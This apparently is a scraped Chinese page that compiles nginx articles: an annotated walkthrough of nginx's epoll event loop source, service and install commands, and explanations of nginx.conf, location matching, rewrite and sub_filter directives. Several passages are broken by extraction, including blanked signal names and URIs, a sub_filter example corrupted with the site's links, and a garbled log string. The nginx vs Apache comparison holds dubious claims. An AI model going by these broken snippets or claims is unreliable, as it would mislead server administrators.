c->log = log; c->pool->log = log; c->socklen = socklen; c->listening = ls; c->local_sockaddr = ls->sockaddr; c->local_socklen = ls->socklen;#if (NGX_HAVE_UNIX_DOMAIN) if (c->sockaddr->sa_family == AF_UNIX) { c->tcp_nopush = NGX_TCP_NOPUSH_DISABLED; c->tcp_nodelay = NGX_TCP_NODELAY_DISABLED;#if (NGX_SOLARIS) /* Solaris's sendfilev() supports AF_NCA, AF_INET, and AF_INET6 */ c->sendfile = 0;#endif }#endif rev = c->read; wev = c->write; wev->ready = 1; if (ngx_event_flags & NGX_USE_IOCP_EVENT) { rev->ready = 1; } if (ev->deferred_accept) { rev->ready = 1;#if (NGX_HAVE_KQUEUE || NGX_HAVE_EPOLLRDHUP) rev->available = 1;#endif } rev->log = log; wev->log = log; // 更新连接使用次数 c->number = ngx_atomic_fetch_add(ngx_connection_counter, 1); // 将网络地址更新为字符串形式的地址 if (ls->addr_ntop) { c->addr_text.data = ngx_pnalloc(c->pool, ls->addr_text_max_len); if (c->addr_text.data == NULL) { ngx_close_accepted_connection(c); return; } c->addr_text.len = ngx_sock_ntop(c->sockaddr, c->socklen, c->addr_text.data, ls->addr_text_max_len, 0); if (c->addr_text.len == 0) { ngx_close_accepted_connection(c); return; } }#if (NGX_DEBUG) { ngx_str_t addr; u_char text[NGX_SOCKADDR_STRLEN]; ngx_debug_accepted_connection(ecf, c); if (log->log_level & NGX_LOG_DEBUG_EVENT) { addr.data = text; addr.len = ngx_sock_ntop(c->sockaddr, c->socklen, text, NGX_SOCKADDR_STRLEN, 1); ngx_log_debug3(NGX_LOG_DEBUG_EVENT, log, 0, "*覬cept: %V fd:%d", c->number, &addr, s); } }#endif // 将当前连接添加到epoll句柄中进行监控 if (ngx_add_conn && (ngx_event_flags & NGX_USE_EPOLL_EVENT) == 0) { if (ngx_add_conn(c) == NGX_ERROR) { ngx_close_accepted_connection(c); return; } } log->data = NULL; log->handler = NULL; // 建立新连接之后的回调方法 ls->handler(c); if (ngx_event_flags & NGX_USE_KQUEUE_EVENT) { ev->available--; } } while (ev->available);} 这里客户端连接的建立过程主要可以分为如下几个步骤: 首先调用accept()方法获取当前客户端建立的连接,并且将其地址信息保存到结构体sa中; 接着通过调用ngx_get_connection()方法获取一个ngx_connection_t结构体以对应当前获取到的客户端连接,并且会初始化该结构体的各个属性; 调用ngx_add_conn()方法将当前方法添加到epoll句柄中,这里的添加过程本质上就是通过epoll_ctl()方法将当前客户端的连接的文件描述符添加到epoll句柄中,以监听其读写事件; 如此我们就讲解了从epoll句柄的创建,到指定的端口的监听,接着处理客户端连接,并且将客户端连接对应的文件描述符继续添加到epoll句柄中以监听读写事件的流程。下面我们继续来看一下nginx是如何等待所监听的这些句柄上的事件的发生的,也即整个事件框架的驱动程序。worker进程对于事件的处理,主要在ngx_process_events_and_timers()方法中,如下是该方法的源码: void ngx_process_events_and_timers(ngx_cycle_t *cycle) {// 尝试获取共享锁 if (ngx_trylock_accept_mutex(cycle) == NGX_ERROR) { return; } // 这里开始处理事件,对于kqueue模型,其指向的是ngx_kqueue_process_events()方法, // 而对于epoll模型,其指向的是ngx_epoll_process_events()方法 // 这个方法的主要作用是,在对应的事件模型中获取事件列表,然后将事件添加到ngx_posted_accept_events // 队列或者ngx_posted_events队列中 (void) ngx_process_events(cycle, timer, flags); // 这里开始处理accept事件,将其交由ngx_event_accept.c的ngx_event_accept()方法处理; ngx_event_process_posted(cycle, &ngx_posted_accept_events); // 开始释放锁 if (ngx_accept_mutex_held) { ngx_shmtx_unlock(&ngx_accept_mutex); } // 如果不需要在事件队列中进行处理,则直接处理该事件 // 对于事件的处理,如果是accept事件,则将其交由ngx_event_accept.c的ngx_event_accept()方法处理; // 如果是读事件,则将其交由ngx_http_request.c的ngx_http_wait_request_handler()方法处理; // 对于处理完成的事件,最后会交由ngx_http_request.c的ngx_http_keepalive_handler()方法处理。 // 这里开始处理除accept事件外的其他事件 ngx_event_process_posted(cycle, &ngx_posted_events);} 这里的ngx_process_events_and_timers()方法我们省略了大部分代码,只留下了主要的流程。简而言之,其主要实现了如下几个步骤的工作: 获取共享锁,以得到获取客户端连接的权限; 调用ngx_process_events()方法监听epoll句柄中各个文件描述符的事件,并且处理这些事件。在前面我们讲到,nginx在调用epoll模块的init()方法时,初始化了ngx_event_actions属性的值,将其指向了epoll模块所实现的方法,这里就包括ngx_process_events方法宏所对应的方法,也即ngx_epoll_process_events()方法,因而这里其实就可以理解,ngx_epoll_process_events()方法本质上就是调用epoll_wait()方法等待epoll句柄上所监听的事件的发生; 处理ngx_posted_accept_events队列中的事件,这些事件其实就是前面讲到的客户端建立连接的事件,在ngx_epoll_process_events()方法中获取到事件之后,会判断其是accept事件还是读写事件,如果是accept事件,就会将其添加到ngx_posted_accept_events队列中,如果是读写事件,就会将其添加到ngx_posted_events队列中; 释放共享锁,以让其他的worker进程可以获取锁,从而接收客户端连接; 处理ngx_posted_events队列中的事件,也即客户端连接的读写事件。从这里就可以看出nginx高性能的一个原因,其将accept事件和读写事件放到了两个不同的队列中,accept事件是必须在锁内部处理的,而读写事件则可以异步于accept事件,这提高了nginx处理客户端请求的能力。 下面我们来看一下ngx_epoll_process_events()方法是如何处理epoll句柄中的事件的: static ngx_int_t ngx_epoll_process_events(ngx_cycle_t *cycle, ngx_msec_t timer, ngx_uint_t flags) { int events; uint32_t revents; ngx_int_t instance, i; ngx_uint_t level; ngx_err_t err; ngx_event_t *rev, *wev; ngx_queue_t *queue; ngx_connection_t *c; /* NGX_TIMER_INFINITE == INFTIM */ ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "epoll timer: %M", timer); // 通过epoll_wait()方法进行事件的获取,获取到的事件将存放在event_list中,并且会将获取的事件个数返回 events = epoll_wait(ep, event_list, (int) nevents, timer); err = (events == -1) ? ngx_errno : 0; // 这里的ngx_event_timer_alarm是通过一个定时器任务来触发的,在定时器中会将其置为1, // 从而实现定期更新nginx缓存的时间的目的 if (flags & NGX_UPDATE_TIME || ngx_event_timer_alarm) { ngx_time_update(); } if (err) { if (err == NGX_EINTR) { if (ngx_event_timer_alarm) { ngx_event_timer_alarm = 0; return NGX_OK; } level = NGX_LOG_INFO; } else { level = NGX_LOG_ALERT; } ngx_log_error(level, cycle->log, err, "epoll_wait() failed"); return NGX_ERROR; } // 获取的事件个数为0 if (events == 0) { // 如果当前时间类型不为NGX_TIMER_INFINITE,说明获取事件超时了,则直接返回 if (timer != NGX_TIMER_INFINITE) { return NGX_OK; } // 这里说明时间类型为NGX_TIMER_INFINITE,但是却返回了0个事件,说明epoll_wait()调用出现了问题 ngx_log_error(NGX_LOG_ALERT, cycle->log, 0, "epoll_wait() returned no events without timeout"); return NGX_ERROR; } // 遍历各个事件 for (i = 0; i < events; i++) { // 每个事件的data.ptr中存储了当前事件对应的connection对象 c = event_list[i].data.ptr; // 获取事件中存储的instance的值 instance = (uintptr_t) c & 1; // 获取connection指针地址值 c = (ngx_connection_t *) ((uintptr_t) c & (uintptr_t) ~1); // 获取读事件结构体 rev = c->read; // 如果当前连接的文件描述符为-1,获取其instance不等于当前事件的instance, // 说明该连接已经过期了,则不对该事件进行处理 if (c->fd == -1 || rev->instance != instance) { /* * the stale event from a file descriptor * that was just closed in this iteration */ ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "epoll: stale event %p", c); continue; } // 获取当前事件监听的类型 revents = event_list[i].events; ngx_log_debug3(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "epoll: fd:%d ev:%04XD d:%p", c->fd, revents, event_list[i].data.ptr); // 如果事件发生错误,则打印相应的日志 if (revents & (EPOLLERR | EPOLLHUP)) { ngx_log_debug2(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "epoll_wait() error on fd:%d ev:%04XD", c->fd, revents); /* * if the error events were returned, add EPOLLIN and EPOLLOUT * to handle the events at least in one active handler */ revents |= EPOLLIN | EPOLLOUT; }#if 0 if (revents & ~(EPOLLIN|EPOLLOUT|EPOLLERR|EPOLLHUP)) { ngx_log_error(NGX_LOG_ALERT, cycle->log, 0, "strange epoll_wait() events fd:%d ev:%04XD", c->fd, revents); }#endif // 如果当前是读事件,并且事件是活跃的 if ((revents & EPOLLIN) && rev->active) {#if (NGX_HAVE_EPOLLRDHUP) if (revents & EPOLLRDHUP) { rev->pending_eof = 1; } rev->available = 1;#endif // 将事件标记为就绪状态 rev->ready = 1; // 默认是开启了NGX_POST_EVENTS开关的 if (flags & NGX_POST_EVENTS) { // 如果当前是accept事件,则将其添加到ngx_posted_accept_events队列中, // 如果是读写事件,则将其添加到ngx_posted_events队列中 queue = rev->accept ? &ngx_posted_accept_events : &ngx_posted_events; ngx_post_event(rev, queue); } else { // 如果不需要分离accept和读写事件,则直接处理该事件 rev->handler(rev); } } // 获取写事件结构体 wev = c->write; if ((revents & EPOLLOUT) && wev->active) { // 如果当前连接的文件描述符为-1,获取其instance不等于当前事件的instance, // 说明该连接已经过期了,则不对该事件进行处理 if (c->fd == -1 || wev->instance != instance) { /* * the stale event from a file descriptor * that was just closed in this iteration */ ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "epoll: stale event %p", c); continue; } // 将当前事件标记为就绪状态 wev->ready = 1;#if (NGX_THREADS) wev->complete = 1;#endif // 由于是写事件,并且需要标记为了NGX_POST_EVENTS状态, // 因而将其直接添加到ngx_posted_events队列中,否则直接处理该事件 if (flags & NGX_POST_EVENTS) { ngx_post_event(wev, &ngx_posted_events); } else { wev->handler(wev); } } } return NGX_OK;} 这里ngx_epoll_process_events()方法首先就是调用epoll_wait()方法获取所监听的句柄的事件,然后遍历获取的事件,根据事件的类型,如果是accept事件,则添加到ngx_posted_accept_events队列中,如果是读写事件,则添加到ngx_posted_events队列中,而队列中事件的处理,则在上面介绍的ngx_process_events_and_timers()方法中进行。 以上就是关于nginx基于epoll模型事件驱动流程详解的知识。速戳>>知识兔学习精品课! 关闭 service nginx stop systemctl stop nginx 启动 service nginx start systemctl start nginx (推荐教程:nginx教程) 重启 service nginx reload systemctl restart nginx 随系统启动自动运行 systemctl enable nginx 禁止随系统启动自动运行 systemctl disable nginx 以上就是nginx关闭/重启/启动方法介绍的知识。速戳>>知识兔学习精品课! 问题: 解决办法: /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf使用nginx -c的参数指定nginx.conf文件的位置 查看logs文件 再执行sbin/nginx -s reload 推荐教程:nginx教程 以上就是nginx执行sbin/nginx -s reload命令出错了怎么办的知识。速戳>>知识兔学习精品课! 问题描述: 新装了一台服务器,用nginx做代理。突然发现上传超过1M大的客户端文件无法正常上传,于是修改了下nginx的配置。 cd /export/servers/nginx/conf/nginx.conf 在这个配置文件里面的server段里面的 location / { root html; index index.html index.htm; client_max_body_size 1000m; } 加上了client_max_body_size 字段,怎么重启nginx都不行。后来在总配置文件里面发现了分配置文件: sendfile on;#tcp_nopush on;#keepalive_timeout 0;keepalive_timeout 65; #gzip on;include domains/*; #########################分配置文件路径在此#include domains/chat.local;#include domains/chat.erp.com;#include domains/support.chat.com;#include douains/chat.com;server {listen 80; server_name localhost; include domains/*命令指定了分配置文件的路径。找到了分配置文件后,在分配置文件里面进行修改。分配置文件配置如下: server{listen 80;server_name chat.erp.360buy.com;#access_log /export/servers/nginx/logs/chat.erp.360buy.com;location / {proxy_pass http://tomcat;client_max_body_size 1000m;}} 用/export/servers/nginx/sbin/nginx -s reload重启下,上传文件的大小受限的问题就解决了。 推荐教程:nginx使用教程 以上就是通过修改nginx配置文件解决上传文件大小限制问题的知识。速戳>>知识兔学习精品课! 我们可以在root权限下执行如下命令进行卸载。 具体命令: rm -rf /etc/nginx/rm -rf /usr/sbin/nginxrm /usr/share/man/man1/nginx.1.gzapt-get remove nginx* 它的原理就是删除关联文件以及文件夹。 推荐教程:nginx使用教程 以上就是nginx如何在linux环境下卸载的知识。速戳>>知识兔学习精品课! 注意:用户需要有root权限 第一步、添加Nginx存储库 要添加CentOS 7 EPEL仓库,请打开终端并使用以下命令: sudo yum install epel-release 第二步、安装Nginx 现在Nginx存储库已经安装在您的服务器上,使用以下yum命令安装Nginx : sudo yum install nginx 在对提示回答yes后,Nginx将在服务器上完成安装。 第三步、启动Nginx Nginx不会自行启动。要运行Nginx,请输入: sudo systemctl start nginx 如果您正在运行防火墙,请运行以下命令以允许HTTP和HTTPS通信: sudo firewall-cmd --permanent --zone=public --add-service=http sudo firewall-cmd --permanent --zone=public --add-service=httpssudo firewall-cmd --reload 您将会看到默认的CentOS 7 Nginx网页,这是为了提供信息和测试目的。它应该看起来像这样: 如果看到这个页面,那么你的Web服务器现在已经正确安装了。 如果想在系统启动时启用Nginx。请输入以下命令: sudo systemctl enable nginx 恭喜!Nginx现在已经安装并运行了! 推荐教程:nginx使用教程 以上就是CentOS7环境下如何安装nginx的知识。速戳>>知识兔学习精品课! nginx与apache的异同点分析: 相同点: 1、都是HTTP服务器软件 2、功能上都采用模块化结构设计 3、都支持通用的语言接口,如PHP、Perl、Python等 4、支持正向、反向代理、虚拟主机、URL重写、压缩传输、SSL加密传输 (如果您想了解apache的相关知识,请访问apache从入门到精通栏目) 不同点: 1、Apache处理速度很慢,占用很多内存资源 2、功能上,Apache所有模块支持动静态编译,Nginx模块都是静态编译的 3、对Fcgi的支持:Apache支持的很不好,Nginx支持非常好 4、处理连接方式:Nginx支持epoll,Apache不支持 5、空间使用上:Nginx安装包仅几百K 推荐教程:nginx使用教程 以上就是nginx与apache有什么异同点的知识。速戳>>知识兔学习精品课! Nginx的优势: 1、作为Web服务器,Nginx处理静态文件、索引文件,自动索引的效率非常高。 2、作为代理服务器,Nginx可以实现无缓存的反向代理加速,提高网站运行速度。 3、作为负载均衡服务器,Nginx既可以在内部直接支持Rails和PHP,也可以支持HTTP代理服务器对外进行服务,同时还支持简单的容错和利用算法进行负载均衡。 4、在性能方面,Nginx是专门为性能优化而开发的,实现上非常注重效率。它采用内核Poll模型,可以支持更多的并发连接,最大可以支持对5万个并发连接数的响应,而且只占用很低的内存资源。 5、在稳定性方面,Nginx采取了分阶段资源分配技术,使得CPU与内存的占用率非常低。Nginx官方表示,Nginx保持1万个没有活动的连接,而这些连接只占用2.5MB内存,因此,类似DOS这样的攻击对Nginx来说基本上是没有任何作用的。 6、在高可用性方面,Nginx支持热部署,启动速度特别迅速,因此可以在不间断服务的情况下,对软件版本或者配置进行升级,即使运行数月也无需重新启动,几乎可以做到7x24小时不间断地运行。 总结: Nginx具有很高的稳定性;支持热部署;代码质量非常高,代码很规范,手法成熟,模块扩展也很容易;采用了一些os提供的最新特性如对sendfile(Linux2.2+),accept-filter(FreeBSD4.1+),TCP_DEFER_ACCEPT(Linux 2.4+)的支持,从而大大提高了性能。 推荐教程:nginx教程 以上就是nginx的优势体现在哪几个方面的知识。速戳>>知识兔学习精品课! Nginx 启动之后,可以使用以下命令控制: (推荐教程:nginx教程) nginx -s 其中-s意思是向主进程发送信号,signal可以为以下四个中的一个: — 快速关闭 — 优雅关闭 — 重新加载配置文件 — 重新打开日志文件 当运行时,Nginx 会等待工作进程处理完成当前请求,然后将其关闭。当你修改配置文件后,并不会立即生效,而是等待重启或者收到信号。 当 Nginx 收到 信号后,首先检查配置文件的语法。语法正确后,主线程会开启新的工作线程并向旧的工作线程发送关闭信号,如果语法不正确,则主线程回滚变化并继续使用旧的配置。当工作进程收到主进程的关闭信号后,会在处理完当前请求之后退出。 以上就是nginx启动后可以用哪些命令控制?的知识。速戳>>知识兔学习精品课! Nginx的基本配置项有:1、用于调试、定位问题的配置项;2、正常运行的必备配置项;3、优化性能的配置项;4、事件类配置项。 Nginx的基本配置项有: 由于配置项较多,所以把它们按照用户使用时的预期功能分成以下4类: 1、用于调试、定位问题的配置项; 2、正常运行的必备配置项; 3、优化性能的配置项; 4、事件类配置项(有些事件类配置项归纳到优化性能类,这是因为它们虽然也属于event{}块,但作用是优化性能) 相关学习推荐:nginx快速入门教程 有一些配置项,几十没有显式的进行配置,他们会有默认的值,如:daemon,即是在nginx.conf中没有对它进行配置,也相当于打开了这个功能,这点需要注意。 ##代码块中的events、http、server、location、upstream等都是块配置项####块配置项可以嵌套。内层块直接继承外层快,例如:server块里的任意配置都是基于http块里的已有配置的## ##Nginx worker进程运行的用户及用户组 #语法:user username[groupname] 默认:user nobody nobody#user用于设置master进程启动后,fork出的worker进程运行在那个用户和用户组下。当按照"user username;"设置时,用户组名与用户名相同。#若用户在configure命令执行时,使用了参数--user=usergroup 和 --group=groupname,此时nginx.conf将使用参数中指定的用户和用户组。#user nobody; ##Nginx worker进程个数:其数量直接影响性能。#每个worker进程都是单线程的进程,他们会调用各个模块以实现多种多样的功能。如果这些模块不会出现阻塞式的调用,那么,有多少CPU内核就应该配置多少个进程,反之,有可能出现阻塞式调用,那么,需要配置稍多一些的worker进程。worker_processes 1; ##ssl硬件加速。#用户可以用OpneSSL提供的命令来查看是否有ssl硬件加速设备:openssl engine -t#ssl_engine device; ##守护进程(daemon)。是脱离终端在后台允许的进程。它脱离终端是为了避免进程执行过程中的信息在任何终端上显示。这样一来,进程也不会被任何终端所产生的信息所打断。####关闭守护进程的模式,之所以提供这种模式,是为了放便跟踪调试nginx,毕竟用gdb调试进程时最繁琐的就是如何继续跟进fork出的子进程了。####如果用off关闭了master_proccess方式,就不会fork出worker子进程来处理请求,而是用master进程自身来处理请求#daemon off; #查看是否以守护进程的方式运行Nginx 默认是on #master_process off; #是否以master/worker方式工作 默认是on ##error日志的设置##语法: error_log /path/file level;#默认: error_log / log/error.log error;#当path/file 的值为 /dev/null时,这样就不会输出任何日志了,这也是关闭error日志的唯一手段;#leve的取值范围是debug、info、notice、warn、error、crit、alert、emerg从左至右级别依次增大。#当level的级别为error时,error、crit、alert、emerg级别的日志就都会输出。大于等于该级别会输出,小于该级别的不会输出。#如果设定的日志级别是debug,则会输出所有的日志,这一数据量会很大,需要预先确保/path/file所在的磁盘有足够的磁盘空间。级别设定到debug,必须在configure时加入 --with-debug配置项。#error_log logs/error.log;#error_log logs/error.log notice;#error_log logs/error.log info; ##pid文件(master进程ID的pid文件存放路径)的路径#pid logs/nginx.pid; events { #仅对指定的客户端输出debug级别的日志: 语法:debug_connection[IP|CIDR] #这个设置项实际上属于事件类配置,因此必须放在events{……}中才会生效。它的值可以是IP地址或者是CIRD地址。 #debug_connection 10.224.66.14; #或是debug_connection 10.224.57.0/24 #这样,仅仅以上IP地址的请求才会输出debug级别的日志,其他请求仍然沿用error_log中配置的日志级别。 #注意:在使用debug_connection前,需确保在执行configure时已经加入了--with-debug参数,否则不会生效。worker_connections 1024;} ##核心转储(coredump):在Linux系统中,当进程发生错误或收到信号而终止时,系统会将进程执行时的内存内容(核心映像)写入一个文件(core文件),以作为调试只用,这就是所谓的核心转储(coredump). http {##嵌入其他配置文件 语法:include /path/file#参数既可以是绝对路径也可以是相对路径(相对于Nginx的配置目录,即nginx.conf所在的目录) include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; server {##listen监听的端口#语法:listen address:port [ default(deprecated in 0.8.21) | default_server | [ backlog=num | rcvbuf=size | sndbuf=size | accept_filter=filter | deferred | bind | ssl ] ]#default_server: 如果没有设置这个参数,那么将会以在nginx.conf中找到的第一个server块作为默认server块listen 8080; #主机名称:其后可以跟多个主机名称,开始处理一个HTTP请求时,nginx会取出header头中的Host,与每个server中的server_name进行匹配,以此决定到底由那一个server来处理这个请求。有可能一个Host与多个server块中的server_name都匹配,这时会根据匹配优先级来选择实际处理的server块。server_name与Host的匹配优先级见文末。server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; #location / { # root html; # index index.html index.htm; #} ##location 语法: location [=|~|~*|^~] /uri/ { ... }# location的使用实例见文末。#注意:location时有顺序的,当一个请求有可能匹配多个location时,实际上这个请求会被第一个location处理。location / {proxy_pass http://192.168.1.60; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ .php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ .php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /.ht { # deny all; #} } # another virtual host using mix of IP-, name-, and port-based configuration # #server { # listen 8000; # listen somename:8080; # server_name somename alias another.alias; # location / { # root html; # index index.html index.htm; # } #} # HTTPS server # #server { # listen 443 ssl; # server_name localhost; # ssl_certificate cert.pem; # ssl_certificate_key cert.key; # ssl_session_cache shared:SSL:1m; # ssl_session_timeout 5m; # ssl_ciphers HIGH:!aNULL:!MD5; # ssl_prefer_server_ciphers on; # location / { # root html; # index index.html index.htm; # } #} } 以上就是Nginx的基本配置项有哪些的知识。速戳>>知识兔学习精品课! Nginx Web服务器配置块有:1、设置虚拟服务器;2、配置位置;3、使用变量;4、返回特定状态码;5、重写请求中的URI;6、重写HTTP响应;7、处理错误。 Nginx Web服务器配置块有: 1. 设置虚拟服务器 NGINX配置文件必须至少包含一个服务器指令来定义虚拟服务器。 当NGINX处理请求时,它首先选择提供请求的虚拟服务器。 虚拟服务器由http上下文中的服务器指令定义,例如: http { server { # Server configuration }} 可以将多个server指令添加到http上下文中以定义多个虚拟服务器。 推荐教程:nginx快速入门教程 配置块通常包括一个listen指令,用于指定服务器侦听请求的IP地址和端口(或Unix域套接字和路径)。IPv4和IPv6地址均被接受; 将方括号(。 下面的示例显示了监听IP地址127.0.0.1和端口8080的服务器的配置: server { listen 127.0.0.1:8080; # The rest of server configuration} 如果省略端口,则使用标准端口。 同样地,如果省略一个地址,服务器将侦听所有地址。 如果没有包含listen指令,则“标准”端口为,“default”端口为,具体取决于超级用户权限。 如果有多个服务器与请求的IP地址和端口相匹配,则NGINX将根据服务器块中的server_name指令测试请求的主机头域。 server_name的参数可以是完整(精确)名称,通配符或正则表达式。 通配符是一个字符串,其开头,结尾或两者都包含星号(*); 星号匹配任何字符序列。 NGINX将Perl语法用于正则表达式; 在它们之前使用波浪号(〜)。 此示例说明了一个确切的名称。 server { listen 80; server_name example.org www.example.org; ...} 如果匹配主机头几个名称,则NGINX通过按以下顺序搜索名称并使用其找到的第一个匹配来选择一个: 确切的名字(完整准确的名称) 以星号开头的最长通配符,例如:*.example.org 以星号结尾的最长通配符,如:mail.* 第一个匹配正则表达式(按照出现在配置文件中的顺序) 如果主机头字段与服务器名称不匹配,则NGINX会将请求路由到请求到达端口的默认服务器。 默认服务器是nginx.conf文件中列出的第一个服务器,除非您将listen_server参数包含在listen指令中以明确指定服务器为默认值。 server { listen 80 default_server; ...} 一个完整的Nginx虚拟机配置示例,这里我们演示配置两个虚拟机,对应域名分别为:vhost1.com 和 vhost2.com,vhost1.com网站的主目录在,vhost2.com网站的主目录在: server { listen 80; server_name vhost1.com www.vhost1.com; index index.html index.html; root /data/www/vhost1; access_log /var/log/vhost1.com.log;}server { listen 80; server_name vhost2.com www.vhost2.com; index index.html index.html; root /data/www/vhost2; access_log /var/log/vhost2.com.log;} 2. 配置位置 NGINX可以根据请求URI向不同的代理发送流量或提供不同的文件。 这些块是使用放置在server指令中的location指令来定义的。 例如,您可以定义三个location块,以指示虚拟服务器向一个代理服务器发送一些请求,将其他请求发送到不同的代理服务器,并通过从本地文件系统传递文件来提供其余请求。 NGINX测试根据所有location指令的参数请求URI,并应用匹配location中定义的指令。 在每个location块内,通常可能(除了一些例外)放置更多的location指令以进一步细化特定组请求的处理。 注意:在本教程文章中,单词location是指单个location上下文。 location指令有两种类型的参数:前缀字符串(路径名)和正则表达式。 对于要匹配前缀字符串的请求URI,必须以前缀字符串开头。 具有pathname参数的以下示例位置匹配以/some/path/开头的请求URI,例如,它不匹配,因为不在该URI的开头出现。 location /some/path/ { ...} 正则表达式之前是区分大小写匹配的波形符号(~),或者不区分大小写匹配的波形符号(~*)。 以下示例将包含字符串.html或.html的URI与任何位置相匹配。 location ~ .html? { ...} 要找到最符合URI的位置,NGINX首先将URI与前缀字符串的位置进行比较。然后用正则表达式搜索位置。 除非使用^~修饰符对正则表达式给予更高的优先级。在前缀字符串中,NGINX选择最具体的字符串(也就是最长和最完整的字符串)。 下面给出了选择处理请求的位置的确切逻辑: 测试所有URI的前缀字符串。 =(等号)修饰符定义了URI和前缀字符串完全匹配。如果找到完全匹配,则搜索停止。 如果^~(插入符号)修饰符预先添加最长匹配前缀字符串,则不会检查正则表达式。 存储最长匹配的前缀字符串。 根据正则表达式测试URI。 断开第一个匹配的正则表达式并使用相应的位置。 如果没有正则表达式匹配,则使用与存储的前缀字符串相对应的位置。 =修饰符的典型用例是/(正斜杠)的请求。 如果请求/是频繁的,则指定=/作为location指令的参数加速处理,因为搜索匹配在第一次比较之后停止。 location = / { ...} location上下文可以包含定义如何解析请求的指令 - 提供静态文件或将请求传递给代理的服务器。 在以下示例中,匹配第一个location上下文的请求将从目录中提供文件,并将匹配第二个位置的请求传递给承载 www.example.com 域内容的代理服务器。 server { location /images/ { root /data; } location / { proxy_pass http://www.example.com; }} root指令指定要在其中搜索要提供的静态文件的文件系统路径。 与该位置相关联的请求URI将附加到路径,以获取要提供的静态文件的全名。 在上面的示例中,要响应的请求,NGINX提供服务器本地实际对应文件是:/data/images/logo.png。 proxy_pass指令将请求传递给使用配置的URL访问代理服务器。然后将代理服务器的响应传回客户端。在上面的示例中,所有不以/images/开头的URI的请求都将被传递给代理的服务器(也就是:www.example.com)。 3. 使用变量 可以使用配置文件中的变量,使NGINX进程的请求根据定义的情况而有所不同。 变量是在运行时计算的命名值,用作指令的参数。 一个变量由它的名字开头的$(美元)符号表示。 变量根据NGINX的状态定义信息,例如正在处理的请求的属性。 有许多预定义的变量,如核心HTTP变量,您可以使用set,map和geo指令定义自定义变量。 大多数变量在运行时计算的,并包含与特定请求相关的信息。 例如,包含客户端IP地址,保存当前的URI值。 4. 返回特定状态码 一些网站URI需要立即返回具有特定错误或重定向代码的响应,例如当页面被暂时移动或永久移动时。 最简单的方法是使用return指令。 例如返回未找到的404状态码: location /wrong/url { return 404;} 返回的第一个参数是响应代码。可选的第二个参数可以是重定向的URL(代码301,302,303和307)或在响应体中返回文本。 例如: location /permanently/moved/url { return 301 http://www.example.com/moved/here;} 返回指令可以包含在 location 和 server 上下文中。 重写URI请求 可以通过使用rewrite指令在请求处理期间多次修改请求URI,该指令具有一个可选参数和两个必需参数。 第一个(必需)参数是请求URI必须匹配的正则表达式。 第二个参数是用于替换匹配URI的URI。 可选的第三个参数是可以停止进一步重写指令的处理或发送重定向(代码301或302)的标志。例如: location /users/ { rewrite ^/users/(.*)$ /show?user=$1 break;} 如该示例所示,用户通过匹配正则表达式捕获第二个参数。 您可以在location 和 server上下文中包含多个rewrite指令。 NGINX按照它们发生的顺序逐个执行指令。 当选择该上下文时,server上下文中的rewrite指令将被执行一次。 在NGINX处理一组rewrite指令之后,它根据新的URI选择一个location上下文。 如果所选location块包含rewrite指令,则依次执行它们。 如果URI与其中任何一个匹配,则在处理所有定义的rewrite指令之后,将搜索新location块。 以下示例显示了与返回指令相结合的rewrite指令。 server { ... rewrite ^(/download/.*)/media/(.*)..*$ $1/mp3/$2.mp3 last; rewrite ^(/download/.*)/audio/(.*)..*$ $1/mp3/$2.ra last; return 403; ...} 此示例配置区分两组URI。 诸如之类的URI更改为。由于最后一个标志,所以跳过后续指令(第二次rewrite和return指令),但NGINX继续处理该请求,该请求现在具有不同的URI。类似地,诸如的URI被替换为。 如果URI与rewrite指令不匹配,则NGINX将403错误代码返回给客户端。 有两个中断处理重写指令的参数: last - 停止执行当前服务器或位置上下文中的重写指令,但是NGINX会搜索与重写的URI匹配的位置,并且应用新位置中的任何重写指令(URI可以再次更改,往下继续匹配)。 break - 像break指令一样,在当前上下文中停止处理重写指令,并取消搜索与新URI匹配的位置。新位置(location)块中的rewrite指令不执行。 5. 重写HTTP响应 有时您需要重写或更改HTTP响应中的内容,将一个字符串替换为另一个字符串。 您可以使用指令来定义要应用的重写。 该指令支持变量和替代链,使更复杂的更改成为可能。 例如,您可以更改引用除代理服务器之外的绝对链接: location / { sub_filter /blog/ /blog-staging/; sub_filter_once off;} 另一个示例将方法从http://更改为http://,并从请求头域替换本地主机地址到主机名。指令告诉NGINX在一个位置(location)内连续应用伪指令: location / { sub_filter 'href="https://zhishitu.com/ke" 'href="https://zhishitu.com/ke" sub_filter 'img src=https://xiaotua.com/103/"http://127.0.0.1:8080/' 'img src=https://xiaotua.com/103/"http://$host/'; sub_filter_once on;} 请注意,如果发生另一个匹配,则使用修改的响应部分将不再被替换。 处理错误 使用error_page指令,您可以配置NGINX返回自定义页面以及错误代码,替换响应中的其他错误代码,或将浏览器重定向到其他URI。 在以下示例中,指令指定要返回404页面错误代码的页面(/404.html)。 error_page 404 /404.html; 请注意,此伪指令并不立即返回该错误(返回指令执行该操作),而仅仅是指定发生时如何处理错误。 错误代码可以来自代理服务器,或者在NGINX处理期间发生(例如,当NGINX找不到客户端请求的文件时,显示404对应的结果)。 在以下示例中,当NGINX找不到页面时,它会将代码301替换为代码404,并将客户端重定向http:/example.com/new/path.html。 当客户端仍尝试访问其旧URI的页面时,此配置非常有用。 301代码通知浏览器页面已经永久移动,并且需要在返回时自动替换旧地址。 location /old/path.html { error_page 404 =301 http:/example.com/new/path.html;} 